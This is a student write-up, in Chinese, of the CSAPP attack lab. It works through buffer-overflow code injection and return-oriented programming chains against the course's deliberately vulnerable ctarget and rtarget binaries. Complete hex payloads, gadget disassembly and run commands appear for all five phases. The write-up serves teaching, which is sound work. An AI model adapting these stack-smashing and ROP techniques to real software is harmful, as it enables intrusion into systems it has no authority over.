CSAPP: attacklab

前言:注意这个lab不一定能用WSL做,可能会报毫无道理的段错误(Segmentation Fault)。因为学校服务器拿 Ubuntu 16.04 生成。改到 VMWare 跑 Ubuntu 20.04 是可行的。

结果图

相关指令

这个lab不用打断点方便很多。

phase1, 2:
cat phaseX.txt | ./hex2raw | ./ctarget

./hex2raw < phaseX.txt > phaseX-raw.txt
gdb ctarget
run < phaseX-raw.txt

phase3, 4, 5:
cat phaseX.txt | ./hex2raw | ./rtarget

末尾加 -q 是不发送到评测服务器。

phase5

我们要做的事情类似于phase3,如下:

0000000000000000 <.text>:
   0:	48 c7 c7 b8 00 64 55 	mov    $0x556400b8,%rdi
   7:	68 92 18 40 00       	pushq  $0x401892
   c:	c3                   	retq   

此时我们要解决以下问题:

  1. 0x556400b8 本来是我们用于存放字符串的位置(执行的命令之后),但是我们现在此位置未知。
    首先类似于phase4,将我们所需注入的代码: mov 字符串地址,%rdi 和执行touch3拆解为:(伪代码)
`popq %rax` 对应地址
此处存放所需字符串地址
`movq %rax,%rdi` 对应地址
touch3对应地址

那么接下来只要考虑如何获取到存放的字符串地址。分析farm发现:

0000000000401964 <mid_farm>:
  401964:	b8 01 00 00 00       	mov    $0x1,%eax
  401969:	c3                   	ret    

000000000040196a <add_xy>: # this!
  40196a:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  40196e:	c3                   	ret    

000000000040196f <getval_376>:
  40196f:	b8 89 c1 08 c9       	mov    $0xc908c189,%eax
  401974:	c3                   	ret    

0000000000401975 <setval_439>:
  401975:	c7 07 a9 d6 38 c9    	movl   $0xc938d6a9,(%rdi)
  40197b:	c3                   	ret    

000000000040197c <addval_311>:
  40197c:	8d 87 09 ca 84 db    	lea    -0x247b35f7(%rdi),%eax
  401982:	c3                   	ret    

0000000000401983 <getval_436>:
  401983:	b8 89 c1 18 c0       	mov    $0xc018c189,%eax
  401988:	c3                   	ret    

0000000000401989 <addval_353>:
  401989:	8d 87 89 c1 00 c9    	lea    -0x36ff3e77(%rdi),%eax
  40198f:	c3                   	ret    

0000000000401990 <addval_366>: # movq %rsp,%rax
  401990:	8d 87 48 89 e0 c3    	lea    -0x3c1f76b8(%rdi),%eax
  401996:	c3                   	ret    

0000000000401997 <addval_378>:
  401997:	8d 87 09 d6 38 d2    	lea    -0x2dc729f7(%rdi),%eax
  40199d:	c3                   	ret    

000000000040199e <addval_483>:
  40199e:	8d 87 48 89 e0 c1    	lea    -0x3e1f76b8(%rdi),%eax
  4019a4:	c3                   	ret    

00000000004019a5 <getval_385>:
  4019a5:	b8 48 c9 e0 c3       	mov    $0xc3e0c948,%eax
  4019aa:	c3                   	ret    

00000000004019ab <setval_325>:
  4019ab:	c7 07 81 ca 84 db    	movl   $0xdb84ca81,(%rdi)
  4019b1:	c3                   	ret    

00000000004019b2 <setval_102>:
  4019b2:	c7 07 89 d6 90 c2    	movl   $0xc290d689,(%rdi)
  4019b8:	c3                   	ret    

00000000004019b9 <setval_321>:
  4019b9:	c7 07 89 ca 91 90    	movl   $0x9091ca89,(%rdi)
  4019bf:	c3                   	ret    

00000000004019c0 <setval_449>:
  4019c0:	c7 07 89 d6 c1 66    	movl   $0x66c1d689,(%rdi)
  4019c6:	c3                   	ret    

00000000004019c7 <getval_493>:
  4019c7:	b8 a9 d6 20 db       	mov    $0xdb20d6a9,%eax
  4019cc:	c3                   	ret    

00000000004019cd <setval_478>:
  4019cd:	c7 07 48 99 e0 90    	movl   $0x90e09948,(%rdi)
  4019d3:	c3                   	ret    

00000000004019d4 <getval_180>: # movl %esp,%eax
  4019d4:	b8 4a 89 e0 c3       	mov    $0xc3e0894a,%eax
  4019d9:	c3                   	ret    

00000000004019da <addval_109>:
  4019da:	8d 87 35 89 c1 92    	lea    -0x6d3e76cb(%rdi),%eax
  4019e0:	c3                   	ret    

00000000004019e1 <setval_374>:
  4019e1:	c7 07 89 c1 94 c0    	movl   $0xc094c189,(%rdi)
  4019e7:	c3                   	ret    

00000000004019e8 <setval_181>: # movl %ecx,%edx
  4019e8:	c7 07 89 ca c3 e2    	movl   $0xe2c3ca89,(%rdi)
  4019ee:	c3                   	ret    

00000000004019ef <setval_259>:
  4019ef:	c7 07 89 ca 30 c9    	movl   $0xc930ca89,(%rdi)
  4019f5:	c3                   	ret    

00000000004019f6 <getval_105>:
  4019f6:	b8 89 ca 90 c3       	mov    $0xc390ca89,%eax
  4019fb:	c3                   	ret    

00000000004019fc <addval_494>: # movl %eax,%ecx
  4019fc:	8d 87 89 c1 20 db    	lea    -0x24df3e77(%rdi),%eax
  401a02:	c3                   	ret    

0000000000401a03 <setval_137>: # movl %edx,%esi
  401a03:	c7 07 f2 89 d6 c3    	movl   $0xc3d689f2,(%rdi)
  401a09:	c3                   	ret    

0000000000401a0a <getval_243>:
  401a0a:	b8 5b 99 d6 c3       	mov    $0xc3d6995b,%eax
  401a0f:	c3                   	ret    

0000000000401a10 <getval_335>:
  401a10:	b8 48 89 e0 90       	mov    $0x90e08948,%eax
  401a15:	c3                   	ret    

0000000000401a16 <getval_115>: # movl %esp,%eax
  401a16:	b8 68 89 e0 c3       	mov    $0xc3e08968,%eax
  401a1b:	c3                   	ret    

0000000000401a1c <addval_158>:
  401a1c:	8d 87 89 d6 84 c0    	lea    -0x3f7b2977(%rdi),%eax
  401a22:	c3                   	ret    

0000000000401a23 <getval_457>:
  401a23:	b8 89 c1 94 c3       	mov    $0xc394c189,%eax
  401a28:	c3                   	ret    

0000000000401a29 <addval_400>:
  401a29:	8d 87 89 ca 94 db    	lea    -0x246b3577(%rdi),%eax
  401a2f:	c3                   	ret    

0000000000401a30 <getval_202>:
  401a30:	b8 48 89 e0 94       	mov    $0x94e08948,%eax
  401a35:	c3                   	ret    

0000000000401a36 <addval_293>:
  401a36:	8d 87 89 c1 c2 18    	lea    0x18c2c189(%rdi),%eax
  401a3c:	c3                   	ret    

0000000000401a3d <setval_479>:
  401a3d:	c7 07 89 ca 28 db    	movl   $0xdb28ca89,(%rdi)
  401a43:	c3                   	ret    

0000000000401a44 <end_farm>:
  401a44:	b8 01 00 00 00       	mov    $0x1,%eax
  401a49:	c3                   	ret    

gadget为我们提供了add_xy指令,区别于其他所有指令,可能会完整用到该指令。结合课本 支持变长栈帧 一节中提到的利用 %rbp 构造相对位置,而我们的 %rsp 的地址可以动态获取得到,考虑利用相对位置获取字符串的动态位置。
那么我们目标就很明晰了:构造 add %rsp, 相对位移量。
倒推得到我们需要将 %rsp 和 相对位移量 传给 %rdi%rsi (或相反),结合我们挖到的其他指令:

# # start_farm
# popq %rax
# movq %rax,%rdi
# movq %eax,%edi
# # mid_farm
# movq %rsp,%rax
# movl %esp,%eax
# movl %ecx,%edx
# movl %eax,%ecx
# movl %edx,%esi
# movl %esp,%eax
# # end_farm

发现可以做到
%rsp%rax%rdi
相对位移量 → %rax%ecx%edx%esi
这两条路径,从而满足我们的全部要求。
(其中 # movl %eax,%ecx是因为我们在直接找完其他指令之后发现需要有一条目标操作数D为%edx%ecx%rdx%rcx,因此搜寻包含 89 c189 c2 且之后返回的指令。寻找发现这一条返回之前包含nop、但满足我们的要求。)
构造伪代码指令如下:

(%rsp指向此处↓)
地址: `movq %rsp,%rax` (0000000000401992)
地址: `movq %rax,%rdi` (000000000040194c)
地址: `popq %rax` (0000000000401933)
值: 相对位移量(待写完后计算得是72,即0x48,见下)
地址: `movl %eax,%ecx` (00000000004019fe)
地址: `movl %ecx,%edx` (00000000004019ea)
地址: `movl %edx,%esi` (0000000000401a06)
地址: add_xy (000000000040196a)
(上述完成构造所需字符串地址)
地址: `movq %rax,%rdi` (000000000040194c)
地址: touch3 (0000000000401892)
值: 所需字符串 (33 36 36 31 61 39 39 34 00)

翻译如下:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
92 19 40 00 00 00 00 00
**4c** 19 40 00 00 00 00 00
33 19 40 00 00 00 00 00
<48> 00 00 00 00 00 00 00
fe 19 40 00 00 00 00 00
ea 19 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
6a 19 40 00 00 00 00 00
4c 19 40 00 00 00 00 00
92 18 40 00 00 00 00 00
**33** 36 36 31 61 39 39 34 00

此处观察偏移量。
我们知道%rsp一开始指向movq %rsp,%rax处(对应 92 19 40 00 00 00 00 00 ),经过一次 popq 指令+8,左负右正,移动到了 **4c** 19 40 00 00 00 00 00 处,也就是说我们所需的是此处到我们所需字符串的相对偏移量。
**4c**处到**33**处为72个字节,从而获得偏移量为+0x48,填入< >位置即可。

恭喜皆传

phase4

我们要做的事情类似于phase2,如下:

movq $0x3661a994,%rdi  # set the register
pushq 0x401781         # the address of touch2
ret

但是,phase2中已知栈底在 0x55640088 处、从而可以直接从被替代的返回值处(也就是%rsp指向的位置)执行上述指令。但phase4未知栈底位置、且如此存入栈其他位置的代码无法执行,只能另做他法。
首先分析 start_farmmid_farm

0000000000401929 <start_farm>:
  401929:	b8 01 00 00 00       	mov    $0x1,%eax
  40192e:	c3                   	ret    

000000000040192f <addval_334>: # popq %rax: 0000000000401933
  40192f:	8d 87 0f 58 58 90    	lea    -0x6fa7a7f1(%rdi),%eax
  401935:	c3                   	ret    

0000000000401936 <addval_451>:
  401936:	8d 87 e5 72 58 90    	lea    -0x6fa78d1b(%rdi),%eax
  40193c:	c3                   	ret    

000000000040193d <getval_471>:
  40193d:	b8 58 91 c3 43       	mov    $0x43c39158,%eax
  401942:	c3                   	ret    

0000000000401943 <addval_154>: # movq %eax,%edi
  401943:	8d 87 4a 89 c7 c3    	lea    -0x3c3876b6(%rdi),%eax
  401949:	c3                   	ret    

000000000040194a <setval_392>: # movq %rax,%rdi: 000000000040194c
  40194a:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  401950:	c3                   	ret    

0000000000401951 <getval_283>:
  401951:	b8 3b e8 f4 50       	mov    $0x50f4e83b,%eax
  401956:	c3                   	ret    

0000000000401957 <getval_162>:
  401957:	b8 68 89 c7 90       	mov    $0x90c78968,%eax
  40195c:	c3                   	ret    

000000000040195d <setval_490>:
  40195d:	c7 07 48 89 c7 c3    	movl   $0xc3c78948,(%rdi)
  401963:	c3                   	ret    

0000000000401964 <mid_farm>:
  401964:	b8 01 00 00 00       	mov    $0x1,%eax
  401969:	c3                   	ret    

注意我们所需“断章取义”的地址开始处与函数入口不同。
从以上分析的指令寻找,发现 movq $0x3661a994,%rdi 可以拆作两步: popq %raxmovq %rax,%rdi,其中将$0x3661a994 存在栈指针指向的位置。这样可以做到不知道栈底的位置、但执行相同的操作。
基于这个思路,我们将所需执行的“断章取义”的代码(也就是"农场"里的那些地址)全部写在被替代的返回值处,包括如下操作:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

(%rsp指向这里,即原来的返回地址开始处,把它改成需要执行的第一个指令 popq %rax 的地址: 0000000000401933)
33 19 40 00 00 00 00 00

(之后rsp完成返回后上移,正好挪到我们所需传入值 0x3661a994 的位置,执行pop)
94 a9 61 36 00 00 00 00
(注意此处pop传入之后移动8个字节,所以注意补全位数)

(执行完pop后恰好移动到下一个指令 movq %rax,%rdi 的地址: 000000000040194c 处)
4c 19 40 00 00 00 00 00

(同样道理,利用地址执行touch2: 0000000000401781)
81 17 40 00 00 00 00 00

简单总结,我们通过断章取义完成了第一套指令的拼凑,而实际上这个断章取义的过程也是函数调用的过程。

phase3

cookie: 3661a994,注意到3对应于0x33,a对应于97即0x61(或A对应65),那么这八位的字符表示分别为

33 36 36 31 61 39 39 34 00

最后的00 是字符串结尾。
注意此处不是“小端法”,因为字符串理解为一系列字符、每个字符各自为一个值按顺序存放;而我们存放地址等时是对“同一个值”用多个字符,才需要小端。
我们用类似于上一个phase的方法进行修改:
下述的0x401892 是touch3的地址,0x55640088 是栈底(输入字符串的位置),我们存放字符串在加48即0x30的位置,它的地址为 0x556400b8

0000000000000000 <.text>:
   0:	48 c7 c7 b8 00 64 55 	mov    $0x556400b8,%rdi
   7:	68 92 18 40 00       	pushq  $0x401892
   c:	c3                   	retq   
48 c7 c7 b8 00 64 55 68 92 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 00 64 55 00 00 00 00 33 36 36 31 61 39 39 34 00

有趣的是,如果我们将cookie字符串存放到大片的00处,由于调用touch3会额外有push和sub(add负值等同于sub)等对栈指针的操作(相减类似于向上述的往左覆盖),我们存放的cookie字符串会被覆盖。因此将cookie字符串存放在字符串末尾巧妙地防止了这一点。运气很好没碰到这个难点,直接解决了。

phase2

我们考虑的思路是分两步:

  1. 修改寄存器的值为我们所需的cookie
  2. 执行touch2
    为了做到这些,我们首先需要更多的空间存放cookie和修改的指令。
    考虑利用程序为该栈帧分配的40个字节。可以将修改值、之后执行的这些指令全部写在栈帧中,而我们前一个phase所做的跳转改为跳转到栈底,执行完上述操作。
    为了执行touch2,我们可以利用类似于call指令的方法,即将“call指令的下一行”压入栈中、之后返回就会将栈中的地址弹出到PC,作为我们下一处执行的地址,从而将控制归还给touch2。
    基于以上思路,写出的汇编代码如下:
movq $0x3661a994,%rdi  # set the register
pushq 0x401781         # the address of touch2
ret

对应于以下汇编代码:

0000000000000000 <.text>:
   0:	48 c7 c7 94 a9 61 36 	mov    $0x3661a994,%rdi
   7:	68 81 17 40 00       	pushq  $0x401781
   c:	c3                   	retq   

而为了利用栈帧分配的40字节,我们就需要获取sub 0x28之后栈帧的地址,跳转到这个位置执行上述指令。
为此,我们选择使用gdb在执行完sub 0x28之后的下一行打断点 b *0x401743,并读取寄存器的值,得到栈底地址 %rsp = 0x55640088

从而我们按照与phase1相同的思路覆盖返回地址即可。最终得到的代码如下:

48 c7 c7 94 a9 61 36 68 81 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 00 64 55 00

phase1

touch1 的入口地址是 0x401755
考虑到getbuf 先在返回地址处往栈顶分配0x28=40字节的空间,输入值超过40字节即可冲掉返回地址(8字节),使“返回”变为执行我们的指令。所以考虑输入以下内容:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
55 17 40 00 00 00 00 00

其中90代表nop,但其实写别的也没关系,因为这40个字节用不到。

之后执行以下指令:

cat phase1.txt | ./hex2raw | ./ctarget -q

即可。